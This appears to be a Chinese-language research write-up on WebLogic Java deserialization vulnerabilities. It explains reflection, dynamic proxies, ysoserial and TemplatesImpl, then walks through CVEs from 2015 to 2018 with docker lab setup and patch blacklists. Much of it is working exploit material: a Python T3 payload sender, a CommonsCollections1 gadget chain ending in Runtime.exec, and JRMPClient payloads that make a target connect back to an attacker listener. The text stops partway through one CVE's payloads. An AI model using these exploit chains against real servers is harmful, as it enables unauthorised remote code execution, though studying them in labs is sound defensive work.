搜集和分析关于WebLogic的反序列化漏洞
简介 序列化数据特征
对weblogic在7001端口的T3协议进行抓包,可以发现java序列化之后数据的Magic头ac ed 00 05
,其编码后是rO0ABQ==
使用场景
http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
ServletsHTTP,Sockets,Session管理器包含的协议,包括JMX,RMI,JMS,JNDI等
xmlXstream,XMLDecoder等
json,包括Jackson,fastjson等
反序列化攻击时序图
Java应用的反序列化流程
反序列化流程图
WebLogic进行反序列化的执行流程图
实现了External
接口的对象会调用readExternal()
函数,实现了Serialize
接口的对象会调用readObject()
函数
使用Proxy
类封装的对象会调用readProxyClass()
函数,否则会调用readClass()
函数
如果对象中存在readResolve()
函数会自动执行它
weblogic的黑名单检查放置在resolveProxyClass()
和resolveClass()
函数中,函数为ClassFilter.isBlackListed()
漏洞分类
WebLogic反序列化高危漏洞主要分为java反序列化和xml反序列化,其中java发序列化可通过T3协议和IIOP协议触发,下面的漏洞分析也是根据这两大方面分隔展示
相关协议 反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
RMI和JRMP协议
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。
CORBA
CORBA(Common Object Request Broker Architecture,公共对象请求代理体系结构)是跨语言(C ++、Java等)的通信体系结构,通常在 IIOP 协议中使用。
GIOP协议
GIOP(General Inter-ORB Protocol,通用对象请求代理间通信协议)是分布式计算领域的一种抽象协议,负责ORB的通信。
IIOP协议
IIOP(Internet Inter-ORB Protocol,互联网内部对象请求代理协议),用来在CORBA对象请求代理之间交流的协议,实现Java和其他语言的CORBA的互操作。
RMI-IIOP协议
兼容了RMI和IIOP的实现,解决RMI和CORBA/IIOP无法同时使用的技术方案。
T3协议
WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。
IDL
IDL(Interface Definition Language,接口定义语言)主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
JAVA IDL
JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于CORBA,一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档 。
反射机制 在Java中的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的任意一个方法,这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制
获取class
1 2 3 4 5 6 7 8 Class class1 = testClass.getClass();Class class2 = testClass.class;Class class3 = Class.forName("{package.className}" );Class class4 = ClassLoader.loadClass("{package.className}" );
反射调用内部类的时候需要使用$
来代替.
,如com.org.test
类有一个叫做Hello
的内部类,则在调用它的时候要写成:com.org.test$Hello
获取constructor
1 2 3 4 5 6 Constructor constructor1 = class1.getDeclaredConstructor({arg1}.class, ...);Constructor constructors1 = class1.getDeclaredConstructors({arg1}.class, ...);Constructor constructor2 = class1.getConstructor({arg1}.class, ...);Constructor constructors2 = class1.getConstructors({arg1}.class, ...);
创建instance
1 2 3 4 Object instance1 = constructor1.newInstance();Object instance1 = class1.newInstance();
获取method
1 2 3 4 5 6 Method method1 = class1.getDeclaredMethod("{methodName}" , {arg1}.class, ...);Method[] methods1 = class1.getDeclaredMethods(); Method method2 = class1.getMethod("{methodName}" , {arg1}.class, ...);Method[] methods2 = class1.getMethods();
调用method
1 Process process1 = (Process) method1.invoke(instance1,"{arg0}" );
获取method结果
1 InputStream in = process1.getInputStream();
输出method结果
1 System.out.println(IOUtils.toString(in,"UTF-8" ));
设置public属性
1 2 constructor1.setAccessible(true ); method1.setAccessible(true );
动态代理 Java动态机制涉及一个接口和一个类,分别是InvocationHandler
接口和Proxy
类
InvocationHandler
InvocationHandler
接口是proxy
代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序,在代理实例调用方法时,方法调用被编码并调度到调用处理程序的invoke
方法
Proxy
Proxy
类就是用来创建一个代理对象的类,它提供了很多方法,但是我们最常用的是newProxyInstance
方法
1 2 3 4 5 public static Object newProxyInstance ( ClassLoader loader, // 代理类的classloader Class<?>[] interfaces, // 代理类的interface数组 InvocationHandler h // 包含invoke函数实现的InvocationHandler )
样例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;interface Hello { void morning (String name) ; } public class Main { public static void main (String[] args) { InvocationHandler handler = new InvocationHandler () { @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println(method); if (method.getName().equals("morning" )) { System.out.println("Good morning, " + args[0 ]); } return null ; } }; Hello hello = (Hello) Proxy.newProxyInstance( Hello.class.getClassLoader(), new Class [] { Hello.class }, handler); hello.morning("Bob" ); } }
ysoserial
https://github.com/frohoff/ysoserial
ysoerial是一款专门用于生成Java反序列化Payload的工具
我们可以在src/main/java/ysoserial/payloads/
文件夹中自定义自己的Payload,不过在自定义之前我们需要了解src/main/java/ysoserial/payloads/util
文件中工具类的使用
ClassFiles.java
1 2 3 4 String classAsFile (final Class<?> clazz, boolean suffix) byte [] classAsBytes(final Class<?> clazz)
Gadgets.java
1 2 3 4 5 6 7 8 9 10 11 12 InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) Map<String, Object> createMap ( final String key, final Object val ) Object createTemplatesImpl ( final String command ) HashMap makeMap ( Object v1, Object v2 )
JavaVersion.java
1 2 JavaVersion getLocalVersion ()
PayloadRunner.java
1 2 void run (final Class<? extends ObjectPayload<?>> clazz, final String[] args)
Reflections.java
1 2 3 4 5 6 7 8 9 10 Field getField (final Class<?> clazz, final String fieldName) void setFieldValue (final Object obj, final String fieldName, final Object value) Object getFieldValue (final Object obj, final String fieldName) Constructor<?> getFirstCtor(final String name) <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
TemplatesImpl
https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/
在上面Gadgets.java
中的createTemplatesImpl()
函数中,我们提到了ysoserial是使用TemplatesImpl
的Gadget来构造恶意数据的,下面我们详细介绍一下其原理
javassist Java字节码操作库,提供了在运行时操作Java字节码的方法,如在已有Class中动态修改和插入Java static代码
样例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class Cat {}@Test public void test () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(Cat.class.getName()); String cmd = "System.out.println(\"evil code\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.writeFile(); }
这里有一个重要的知识点是defineClass()
函数并不会触发上面的static代码,但是使用newInstence()
函数进行实例化的时候可以触发
调用链 首先我们找到TemplatesImpl
类的入口点getOutputProperties()
函数
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString(), e); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
payload 我们看一下最终的payload实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L ; public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L ; } public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan" , "false" )) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet" ), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl" )); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath (abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" ,"\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte [] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; }
环境搭建 WebLogic环境搭建复杂,一般使用docker,可参考此博客
weblogic: 10.3.6.0
参考vulhub/weblogic版本
创建docker-compose.yml
1 2 3 4 5 6 7 8 9 version: '2' services: weblogic: image: vulhub/weblogic environment: debugFlag: "true" ports: - "7001:7001" - "8453:8453"
运行docker-compose up -d
把weblogic的源码和jdk包拷出来
要是源码太多了,就只复制wlserver出来就好
1 docker cp [weblogic id]:/root ./root
IDEA打开/root/Oracle/Middleware/wlserver_10.3/
目录
把Middleware目录下所有的*.jar包都放在一个test的文件夹里(同名.jar会有影响,比如CVE-2020-14645)
1 mkdir test && find ./ -name '*.jar' -exec cp {} ./test/ \; 2>/dev/null
然后在Project Settings->Libraries
下添加test目录
前往Project Settings->Project
,选用WebLogic自带的jdk1.6
创建remote server,配置远程调试的IP(localhost)和端口(8453),点击debug,出现以下信息即为成功
1 Connected to the target VM, address: 'localhost:8453', transport: 'socket'
(附)抓取流量
1 2 3 4 5 6 sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list apt-get clean apt-get update apt-get install tcpdump tcpdump -w /tmp/tcp.cap docker cp [weblogic id]:/tmp/tcp.cap ./
weblogic: 12.2.1.4
参考官网 ,后面的CVE-2020-13645会用到
在当前路路径创建domain.properties
文件
注意密码需要至少8个字符,且至少有1个数字或特殊符号,否则会报错
1 2 username=myadminusername password=myadminpassword!
创建docker-compose.yml
文件
默认是生产模式,所以这里把PRODUCTION_MODE设为””,否则无法调试
DOMAIN_NAME默认为空,这里设置为”base_domain”,否则会报找不到文件错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 version: '2' services: weblogic: image: store/oracle/weblogic:12.2.1.4-dev-200117 environment: DOMAIN_NAME: "base_domain" debugFlag: "true" PRODUCTION_MODE: "" ADMINISTRATION_PORT_ENABLED: "false" volumes: - type: bind source: ./ target: /u01/oracle/properties ports: - "7001:7001" - "8453:8453" - "9002:9002"
启动docker
拷贝源码和jdk
1 docker cp [weblogic id]:/u01 ./u01
后面步骤和上面一样
漏洞分析 JAVA反序列化 CVE-2015-4852
Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0
payload
生成反序列化payload
1 java -jar ysoserial-0.0 .6 -SNAPSHOT-all .jar CommonsCollections1 "touch /tmp/success" > poc.ser
祖传T3脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import binasciiimport socketimport timedef t3_send (ip, port, file ): t3_header = 't3 10.3.6\nAS:255\nHL:19\n\n' host = (ip, int (port)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15 ) sock.connect(host) sock.send(t3_header.encode('utf-8' )) resp1 = sock.recv(1024 ) data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000' with open (file, 'rb' ) as f: payload = binascii.b2a_hex(f.read()).decode('utf-8' ) data = data1 + payload data = '%s%s' % ('{:08x}' .format (len (data) // 2 + 4 ), data) sock.send(binascii.a2b_hex(data)) if __name__ == '__main__' : t3_send('127.0.0.1' ,'7001' ,'poc.ser' )
漏洞分析
漏洞利用的原理利用TransformedMap.setValue()
或者LazyMap.get()
(ysoserial用的就是这个方法)方法来触发Apache Commons Collections
,而在我们的AnnotationInvocationHandler
类中,都含有这两个方法的调用,下面我们来看一下它们的入口点
以TransformedMap
为例,在AnnotationInvocationHandler
类中,我们可以发现memberValues
的类型为Map<String, Object>
,我们可以控制其类型为TransformedMap
,然后readObject()
方法的方法中,我们可以看到entrySet
调用了setValue()
方法,满足利用条件
这里有一处小细节就是,为了让var7非空,我们需要执行innerMap.put("value", "value");
,原因是我们的var3的值为[“value”] => “class java.lang.annotaion.RetentionPolicy”,即只有一个”value”的key值,具体可自行去参考它的实现
这里给出代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import java.io.;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class CommonsCollection1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { "calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); Map inMap = new HashMap (); inMap.put("value" , "value" ); Map outMap = TransformedMap.decorate(inMap, null , chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cls.getDeclaredConstructor(new Class [] { Class.class, Map.class }); ctor.setAccessible(true ); Object instance = ctor.newInstance(new Object [] { Retention.class, outMap }); FileOutputStream fos = new FileOutputStream ("payload.ser" ); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(instance); oos.flush(); oos.close(); FileInputStream fis = new FileInputStream ("payload.ser" ); ObjectInputStream ois = new ObjectInputStream (fis); Object newObj = ois.readObject(); ois.close(); } }
以LazyMap
为例,触发点在调用memerValues.entrySet()
时会触发它的invoke()
方法,其中存在get()
方法满足利用条件
代码的实现参考ysoserial的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 package ysoserial.payloads;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;@PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({ "commons-collections:commons-collections:3.1" }) @Authors({ "frohoff" }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayload < InvocationHandler > { public InvocationHandler getObject (String command) throws Exception { String[] execArgs = { command }; Transformer transformerChain = new ChainedTransformer (new Transformer [] { new ConstantTransformer (Integer.valueOf(1 )) }); Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, execArgs), new ConstantTransformer (Integer.valueOf(1 )) }; Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); Map mapProxy = (Map) Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class [0 ]); InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return handler; } public static void main (String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
补丁
增加ClassFilter.isBlackListed()
函数并把涉及到的3个类加入到黑名单
1 2 3 weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class
CVE-2016-0638 工具利用
https://github.com/5up3rc/weblogic_cmd
IDEA创建application配置,在Program arguments填入,或者导出.jar
1 -H "127.0.0.1" -C "touch /tmp/success" -B -os linux
漏洞分析
此漏洞是对CVE-2015-4852的黑名单进行绕过,对整个利用链再加一层封装即可绕过黑名单,新的利用点在weblogic.jms.common.StreamMessageImpl
类中的readExternal()
方法把传入的序列化数据,调用到上面CVE-2015-4852提到的readObject()
的方法
所以exploit的写法就是把CommonsCollections1
的实现再套一层StreamMessageImpl
补丁
把涉及类加入到黑名单
1 weblogic.jms.common.StreamMessageImpl
CVE-2016-3510
Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0
工具利用
https://github.com/5up3rc/weblogic_cmd
修改TYPE如下
1 public static String TYPE = "marshall" ;
漏洞分析
这个CVE也是对CVE-2015-4852的黑名单进行绕过,利用到的类是weblogic.corba.utils.MarshalledObject
类,在反序列化这个类的时候会调用readResolve()
方法,里面也调用了ObjectInputStream的readObject()
方法
MarshalledObject
在构造时把参数var1
传到this.objBytes
在调用readResolve()
方法时会触发readObject()
函数
同理exploit的写法是把CommonsCollections1
的实现再套一层MarshalledObject
补丁
把涉及类加入到黑名单
1 weblogic.corba.utils.MarshalledObject
CVE-2017-3248
Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0
poc
1 java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/success'
攻击脚本
1 python exploit.py 127.0.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.25.144.219 7777 JRMPClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package ysoserial.payloads;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;@SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload <Registry> { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler (ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class [] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
漏洞分析
这里其实利用到了RMI和DGC的机制,当DGC Client 调用远程对象时,会调用DGC Server 的dirty()
函数,这时DGC Server 就向DGC Client 返回一个lease(DGCClient.vmid, DGCClient.leaseValue)
;当DGC Client 不需要这个远程对象时,就会调用DGC Server 的clean()
函数,这个漏洞的关键点就在于我们可以伪造恶意的DGC Server向DGC Client ,即victim,回送一个包含恶意payload的对象,让DGC Client 在DGC层执行反序列化触发payload
漏洞链如下
补丁
在resolveProxyClass()
方法中加入对java.rmi.registry.Registry
的检查
1 2 3 4 5 6 7 8 9 10 11 12 13 protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for (int i$ = 0 ; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry" )) { throw new InvalidObjectException ("Unauthorized proxy deserialization" ); } } return super .resolveProxyClass(interfaces); }
CVE-2018-2628
Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
poc
1 java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/success'
1 python exploit.py 127.0.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.25.144.219 7777 JRMPClient2
还有一种通过CVE-2016-1000031 Apache Commons Fileupload进行任意文件写入
再者可以直接去掉CVE-2017-3248的Proxy的封装,从而直接绕过resolveProxyClass()方法
漏洞分析
此漏洞是对CVE-2017-3248的绕过,因为InboundMsgAbbrev
类的resolveProxyClass()
仅仅只是对java.rmi.registry.Registry
进行判断,所以我们可以通过其他RMI接口绕过,比如java.rmi.activation.Activator
exploit的编写就是直接替换
补丁
在WeblogicFilterConfig.class
的黑名单中添加了sun.rmi.server.UnicastRef
进行防御
1 2 3 4 5 6 7 private static final String[] DEFAULT_BLACKLIST_CLASSES = new String []{ "org.codehaus.groovy.runtime.ConvertedClosure" , "org.codehaus.groovy.runtime.ConversionHandler" , "org.codehaus.groovy.runtime.MethodClosure" , "org.springframework.transaction.support.AbstractPlatformTransactionManager" , "sun.rmi.server.UnicastRef" };
CVE-2018-2893
Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class JRMPClient3 extends PayloadRunner implements ObjectPayload < Registry > { public Object streamMessageImpl (byte [] object) { StreamMessageImpl streamMessage = new StreamMessageImpl (); streamMessage.setDataBuffer(object, object.length); return streamMessage; } public Object getObject (final String command) throws Exception { String host; int port; int sep = command.indexOf(':' ); if (sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID objID = new ObjID (new Random ().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint (host, port); UnicastRef unicastRef = new UnicastRef (new LiveRef (objID, tcpEndpoint, false )); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler (unicastRef); Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class [] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); } public static void main (final String[] args) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
漏洞分析
此漏洞是对CVE-2018-2628的黑名单绕过,主要利用weblogic.jms.common.StreamMessageImpl
在反序列化时不用经过resolveProxyClass()
检查
补丁
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors" , "com.sun.org.apache.xalan.internal.xsltc.trax" , "javassist" , "java.rmi.activation" , "sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = new String [] { "org.codehaus.groovy.runtime.ConvertedClosure" , "org.codehaus.groovy.runtime.ConversionHandler" , "org.codehaus.groovy.runtime.MethodClosure" , "org.springframework.transaction.support.AbstractPlatformTransactionManager" , "java.rmi.server.UnicastRemoteObject" , "java.rmi.server.RemoteObjectInvocationHandler" };
CVE-2018-3245
Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3
poc
payload1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package ysoserial.payloads;import java.rmi.server.ObjID;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.util.PayloadRunner;import javax.management.remote.rmi.RMIConnectionImpl_Stub;@SuppressWarnings ( { "restriction" } ) public class JRMPClient3 extends PayloadRunner implements ObjectPayload <Object> { public Object getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub (ref); return stub; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
payload2
